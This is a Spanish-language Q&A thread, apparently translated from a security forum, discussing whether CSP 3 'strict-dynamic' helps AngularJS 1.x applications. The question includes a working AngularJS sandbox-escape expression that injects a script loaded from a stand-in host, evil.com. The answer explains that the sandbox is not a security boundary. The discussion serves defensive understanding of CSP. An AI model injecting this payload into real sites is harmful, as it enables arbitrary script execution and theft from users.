¿Hay algún punto en el uso de 'estrictamente dinámico' en una aplicación AngularJS 1.x?

2

No veo el punto de usar el nuevo strict-dynamic de CSP 3 en el caso de una aplicación AngularJS 1.x.

Por lo que puedo decir, el uso de strict-dynamic todavía permite la inyección arbitraria de Javascript a través de un escape de un sandbox en una plantilla:

<html>
  <head>
    <title>Angular - Alert in Expression</title>
    <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js"></script></head><bodyng-app="" ng-csp>
    <div>{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,a=document.createElement("script"),a.src="https://evil.com/evil.js",a.type="text/javascript",a=document.getElementsByTagName("head")[0].appendChild(a),a')}}</div>
  </body>
</html>

Lo peor es que la inyección de script anterior está permitida por strict-dynamic , mientras que un CSP razonable basado en host script-src lo bloquearía.

Entonces, ¿hay alguna razón para usar strict-dynamic en una aplicación que usa AngularJS?

    
pregunta Jean Hominal 28.09.2016 - 15:03
fuente

1 respuesta

2

Aquí hay un poco de un problema de seguridad fundamental basado en el hecho de que un atacante puede inyectar una expresión Angular. El proyecto Angular en sí mismo ha declarado que el sandbox no es en realidad un mecanismo de seguridad, a pesar del nombre, y lo eliminó en versiones más nuevas para evitar esta confusión:

enlace

En el caso del que está hablando, probablemente lo caracterizaría como que funcionaba como estaba previsto, pero no necesariamente esperado. CSP está protegiendo los elementos del script para garantizar que solo se ejecutan los de confianza, pero Angular (su script de confianza) está obligado a "interpretar" la expresión de una manera compatible con CSP (si está usando ng-csp) que produce el equivalente a la ejecución del script.

    
respondido por el Phil Ames 29.09.2016 - 03:36
fuente

Lea otras preguntas en las etiquetas